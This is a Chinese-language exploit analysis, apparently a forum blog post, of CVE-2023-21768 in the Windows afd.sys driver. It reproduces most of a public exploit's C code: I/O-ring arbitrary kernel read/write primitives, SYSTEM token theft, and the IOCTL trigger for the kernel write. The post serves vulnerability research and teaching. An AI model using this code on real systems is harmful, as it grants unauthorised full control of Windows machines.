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CVE-2023-21768 Windows Ancillary Function Driver (AFD) afd.sys本地提权漏洞。
本文是对exp代码的分析，完整exp : xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 (github.com)（https://github.com/xforcered/Windows_LPE_AFD_CVE-2023-21768）
漏洞分析
个人感觉整个exp中最精华的部分在ioring的lpe部分，这部分代码来自Yarden Shafir（https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/）。
I/O ring
i/o ring 是Windows 11(22H2)新出现的一种机制，参考ioringapi - Win32 apps | Microsoft Learn（https://learn.microsoft.com/en-us/windows/win32/api/ioringapi/）
通过CreateIoRing来创建一个IORING_OBJECT对象。内核中对应NtCreateIoRing。
HRESULT CreateIoRing(IORING_VERSION ioringVersion,IORING_CREATE_FLAGS flags,UINT32 submissionQueueSize,UINT32 completionQueueSize,HIORING *h);
submissionQueueSize和completionQueueSize会被替换成2的幂数，使用GetIoRingInfo获取实际大小。
submission queue的结构是头部+若干个NT_IORING_SEQ，Head和Tail之间的NT_IORING_SEQ是还未被处理的NT_IORING_SEQ。
submission queue entry的结构：
以FileRef所指向的文件句柄和buffer进行读写操作，当操作为读时从文件处读取length长的数据并写入到buffer的Address中，当操作为写时从buffer的Address处读取length长的数据并写入到文件中。
通过SubmitIoRing函数提交。
正常情况下这个操作是不会出问题的，但是如果我们有一个任意写漏洞的时候会发生什么呢？
如果我们将Buffer改写为我们申请出的一块内存，并且将address和length设置好，那么当操作是写时，从buffer的Address处读取length长的数据并写入到文件中，我们在从这个文件中读出数据就可以实现任意读，当操作是读时，从文件处读取length长的数据并写入到buffer的Address中，就可以实现任意写。
也即通过BuildIoRingWriteFile实现任意读，通过BuildIoRingReadFile实现任意写。
创建I/O ring
创建I/O ring对象，再创建两个命名管道用做读写句柄。
创建I/O ringint ioring_setup(PIORING_OBJECT* ppIoRingAddr){int ret = -1;IORING_CREATE_FLAGS ioRingFlags = { 0 };ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE;ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE;ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing);if (0 != ret){goto done;}ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing);if (0 != ret){goto done;}pIoRing = *ppIoRingAddr;hInPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_in", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);hOutPipe = CreateNamedPipe(L"\\\\.\\pipe\\ioring_out", PIPE_ACCESS_DUPLEX, PIPE_WAIT, 255, 0x1000, 0x1000, 0, NULL);if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe)){ret = GetLastError();goto done;}hInPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_in", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);hOutPipeClient = CreateFile(L"\\\\.\\pipe\\ioring_out", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient)){ret = GetLastError();goto done;}ret = 0;done:return ret;}
任意读
首先设置好读取数据地址和长度，在通过BuildIoRingWriteFile将ReadAddr处的数据写入到管道中，再从管道中将数据读取到ReadBuffer中。
int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen){int ret = -1;PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient);IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);IORING_CQE cqe = { 0 };pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);if (NULL == pMcBufferEntry){ret = GetLastError();goto done;}pMcBufferEntry->Address = pReadAddr;pMcBufferEntry->Length = ulReadLen;pMcBufferEntry->Type = 0xc02;pMcBufferEntry->Size = 0x80;pMcBufferEntry->AccessMode = 1;pMcBufferEntry->ReferenceCount = 1;pRegisterBuffers[0] = pMcBufferEntry;ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE);if (0 != ret){goto done;}ret = SubmitIoRing(hIoRing, 0, 0, NULL);if (0 != ret){goto done;}ret = PopIoRingCompletion(hIoRing, &cqe);if (0 != ret){goto done;}if (0 != cqe.ResultCode){ret = cqe.ResultCode;goto done;}if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)){ret = GetLastError();goto done;}ret = 0;done:if (NULL != pMcBufferEntry){VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);}return ret;}
任意写
先将需要写的数据写入到管道中，在设置好WriteAddr和WriteLen，使用BuildIoRingReadFile将数据写入到WriteAddr处。
int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen){int ret = -1;PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL;IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient);IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0);IORING_CQE cqe = { 0 };if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL)){ret = GetLastError();goto done;}pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE);if (NULL == pMcBufferEntry){ret = GetLastError();goto done;}pMcBufferEntry->Address = pWriteAddr;pMcBufferEntry->Length = ulWriteLen;pMcBufferEntry->Type = 0xc02;pMcBufferEntry->Size = 0x80;pMcBufferEntry->AccessMode = 1;pMcBufferEntry->ReferenceCount = 1;pRegisterBuffers[0] = pMcBufferEntry;ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE);if (0 != ret){goto done;}ret = SubmitIoRing(hIoRing, 0, 0, NULL);if (0 != ret){goto done;}ret = PopIoRingCompletion(hIoRing, &cqe);if (0 != ret){goto done;}if (0 != cqe.ResultCode){ret = cqe.ResultCode;goto done;}ret = 0;done:if (NULL != pMcBufferEntry){VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE);}return ret;}
I/O ring lpe
找到system进程然后替换token。
int ioring_lpe(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt){int ret = -1;HANDLE hProc = NULL;ULONG64 ullSystemEPROCaddr = 0;ULONG64 ullTargEPROCaddr = 0;PVOID pFakeRegBuffers = NULL;_HIORING* phIoRing = NULL;ULONG64 ullSysToken = 0;char null[0x10] = { 0 };hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid);if (NULL == hProc){ret = GetLastError();goto done;}ret = getobjptr(&ullSystemEPROCaddr, 4, 4);if (0 != ret){goto done;}printf("[+] System EPROC address: %llx\n", ullSystemEPROCaddr);ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc);if (0 != ret){goto done;}printf("[+} Target process EPROC address: %llx\n", ullTargEPROCaddr);pFakeRegBuffers = VirtualAlloc(ullFakeRegBufferAddr, sizeof(ULONG64) * ulFakeRegBufferCnt, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);if (pFakeRegBuffers != (PVOID)ullFakeRegBufferAddr){ret = GetLastError();goto done;}memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt);phIoRing = *(_HIORING**)&hIoRing;phIoRing->RegBufferArray = pFakeRegBuffers;phIoRing->BufferArraySize = ulFakeRegBufferCnt;ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));if (0 != ret){goto done;}printf("[+] System token is at: %llx\n", ullSysToken);ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64));if (0 != ret){goto done;}ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10);ret = 0;done:return ret;}
漏洞成因
通过diff可以判断漏洞点位于afd.sys的AfdNotifyRemoveIoCompletion函数。
这里可以看出没有对**(_DWORD **)(a3 + 24)进行进行验证就把v18赋值，所以设置好这里就可以实现任意写。
查找这个函数的引用是AfdNotifySock。继续查找引用，发现其在AfdImmediateCallDispatch中是最后一个函数。
在AfdIoctlTable中找到最后一个ioctl_code， 是0x12127。
与afd.sys交互参考x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls（https://www.x86matthew.com/view_post?id=ntsockets）
查看AfdNotifySock函数。
检测
if ( InputBufferLength != 0x30 || OutputBufferLength ){v10 = STATUS_INFO_LENGTH_MISMATCH;goto LABEL_45;}if ( !v7->dwCounter )goto LABEL_5;if ( v7->dwLen ){if ( !v7->pPwnPtr || !v7->pData2 )goto LABEL_5;}else if ( v7->pData2 || v7->dwTimeout ){LABEL_5:v10 = STATUS_INVALID_PARAMETER;goto LABEL_45;}v11 = v7->hCompletion;Object = 0i64;v10 = ObReferenceObjectByHandle(v11, 2u, IoCompletionObjectType, pre_mode, &Object, 0i64);if ( v10 >= 0 ){v12 = IoIs32bitProcess(0i64);v13 = 0;v14 = (unsigned __int64 *)MmUserProbeAddress;while ( v13 < v7->dwCounter ){if ( pre_mode ){v24 = 0i64;v25 = 0i64;v15 = v13;v16 = v7->pData1;if ( v12 ){v17 = (unsigned __int64)v16 + 16 * v13;v31 = v17;if ( (v17 & 3) != 0 )ExRaiseDatatypeMisalignment();if ( v17 + 16 > *v14 || v17 + 16 < v17 )*(_BYTE *)*v14 = 0;*(_QWORD *)&v24 = *(unsigned int *)v17;*((_QWORD *)&v24 + 1) = *(unsigned int *)(v17 + 4);LOWORD(v25) = *(_WORD *)(v17 + 8);BYTE2(v25) = *(_BYTE *)(v17 + 10);}else{v17 = (unsigned __int64)v16 + 24 * v13;if ( v17 >= *v14 )v17 = *v14;v24 = *(_OWORD *)v17;v25 = *(_QWORD *)(v17 + 16);}v18 = &v24;v27 = &v24;}else{v15 = v13;v17 = 3i64 * v13;v18 = (__int128 *)((char *)v7->pData1 + 24 * v13);v27 = v18;}v19 = a1;if ( v13 )v19 = 0i64;LOBYTE(v17) = pre_mode;v20 = AfdNotifyProcessRegistration(v17, v9, v18, v19);if ( pre_mode ){v21 = (char *)v7->pData1;v14 = (unsigned __int64 *)MmUserProbeAddress;if ( v12 )v22 = &v21[16 * v15 + 12];elsev22 = &v21[24 * v15 + 20];if ( (unsigned __int64)v22 >= MmUserProbeAddress )v22 = (char *)MmUserProbeAddress;*(_DWORD *)v22 = v20;}else{*((_DWORD *)v7->pData1 + 6 * v15 + 5) = v20;v14 = (unsigned __int64 *)MmUserProbeAddress;}++v13;}v10 = AfdNotifyRemoveIoCompletion(pre_mode, (__int64)v9, (__int64)v7);}
为了过掉检测需要将InputBufferLength设置为0x30，将hCompletion通过未导出函数NtCreateIoCompletion设置为一个句柄，将pdata1设置为一块申请出的空间， counter 设为1。
查看AfdNotifyRemoveIoCompletion函数。
dwLen = a3->dwLen;if ( !(_DWORD)dwLen ){LABEL_33:v8 = 0;goto LABEL_34;}if ( a1 )ProbeForWrite(a3->pData2, v9, v11);v8 = IoRemoveIoCompletion(v25, Pool2, v4, (unsigned int)dwLen, &v20, a1, v13, 0);if ( !v8 ){if ( v19 ){for ( i = 0; i < v20; ++i ){v15 = &Pool2[32 * i];v16 = (char *)a3->pData2 + 16 * i;*v16 = *(_DWORD *)v15;v16[1] = *((_DWORD *)v15 + 2);v16[3] = *((_DWORD *)v15 + 6);v16[2] = *((_DWORD *)v15 + 4);}}*(_DWORD *)a3->pPwnPtr = v20;goto LABEL_33;}
将dwLen = 0x1设为1, pData2设为一块申请出的内存，为了使IoRemoveIoCompletion返回0需要使用未导出函数NtSetIoCompletion。
最后整合到一起就是：
int ArbitraryKernelWrite0x1(void* pPwnPtr){int ret = -1;HANDLE hCompletion = INVALID_HANDLE_VALUE;IO_STATUS_BLOCK IoStatusBlock = { 0 };HANDLE hSocket = INVALID_HANDLE_VALUE;UNICODE_STRING ObjectFilePath = { 0 };OBJECT_ATTRIBUTES ObjectAttributes = { 0 };AFD_NOTIFYSOCK_DATA Data = { 0 };HANDLE hEvent = NULL;HANDLE hThread = NULL;// Hard-coded attributes for an IPv4 TCP socketBYTE bExtendedAttributes[] ={0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1E, 0x00, 0x41, 0x66, 0x64, 0x4F, 0x70, 0x65, 0x6E, 0x50,0x61, 0x63, 0x6B, 0x65, 0x74, 0x58, 0x58, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x02, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x60, 0xEF, 0x3D, 0x47, 0xFE};ret = _NtCreateIoCompletion(&hCompletion, MAXIMUM_ALLOWED, NULL, 1);if (0 != ret){goto done;}ret = _NtSetIoCompletion(hCompletion, 0x1337, &IoStatusBlock, 0, 0x100);if (0 != ret){goto done;}ObjectFilePath.Buffer = (PWSTR)L"\\Device\\Afd\\Endpoint";ObjectFilePath.Length = (USHORT)wcslen(ObjectFilePath.Buffer) * sizeof(wchar_t);ObjectFilePath.MaximumLength = ObjectFilePath.Length;ObjectAttributes.Length = sizeof(ObjectAttributes);ObjectAttributes.ObjectName = &ObjectFilePath;ObjectAttributes.Attributes = 0x40;ret = _NtCreateFile(&hSocket, MAXIMUM_ALLOWED, &ObjectAttributes, &IoStatusBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 1, 0, bExtendedAttributes, sizeof(bExtendedAttributes));if (0 != ret){goto done;}Data.hCompletion = hCompletion;Data.pData1 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);Data.pData2 = VirtualAlloc(NULL, 0x2000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);Data.dwCounter = 0x1;Data.dwLen = 0x1;Data.dwTimeout = 100000000;Data.pPwnPtr = pPwnPtr;if ((NULL == Data.pData1) || (NULL == Data.pData2)){ret = GetLastError();goto done;}hEvent = CreateEvent(NULL, 0, 0, NULL);if (NULL == hEvent){ret = GetLastError();goto done;}_NtDeviceIoControlFile(hSocket, hEvent, NULL, NULL, &IoStatusBlock, AFD_NOTIFYSOCK_IOCTL, &Data, 0x30, NULL, 0);ret = 0;done:if (INVALID_HANDLE_VALUE != hCompletion){CloseHandle(hCompletion);}if (INVALID_HANDLE_VALUE != hSocket){CloseHandle(hSocket);}if (NULL != hEvent){CloseHandle(hEvent);}if (NULL != Data.pData1){VirtualFree(Data.pData1, 0, MEM_RELEASE);}if (NULL != Data.pData2){VirtualFree(Data.pData2, 0, MEM_RELEASE);}return ret;}
参考
Patch Tuesday -> Exploit Wednesday: Pwning Windows Ancillary Function Driver for WinSock (afd.sys) in 24 Hours (securityintelligence.com)
https://securityintelligence.com/posts/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock/
One I/O Ring to Rule Them All: A Full Read/Write Exploit Primitive on Windows 11 – Winsider Seminars & Solutions Inc. (windows-internals.com)
https://windows-internals.com/one-i-o-ring-to-rule-them-all-a-full-read-write-exploit-primitive-on-windows-11/
I/O Rings – When One I/O Operation is Not Enough – Winsider Seminars & Solutions Inc. (windows-internals.com)
https://windows-internals.com/i-o-rings-when-one-i-o-operation-is-not-enough/
x86matthew - NTSockets - Downloading a file via HTTP using the NtCreateFile and NtDeviceIoControlFile syscalls
https://www.x86matthew.com/view_post?id=ntsockets
看雪ID：N1ptune
https://bbs.kanxue.com/user-home-913941.htm
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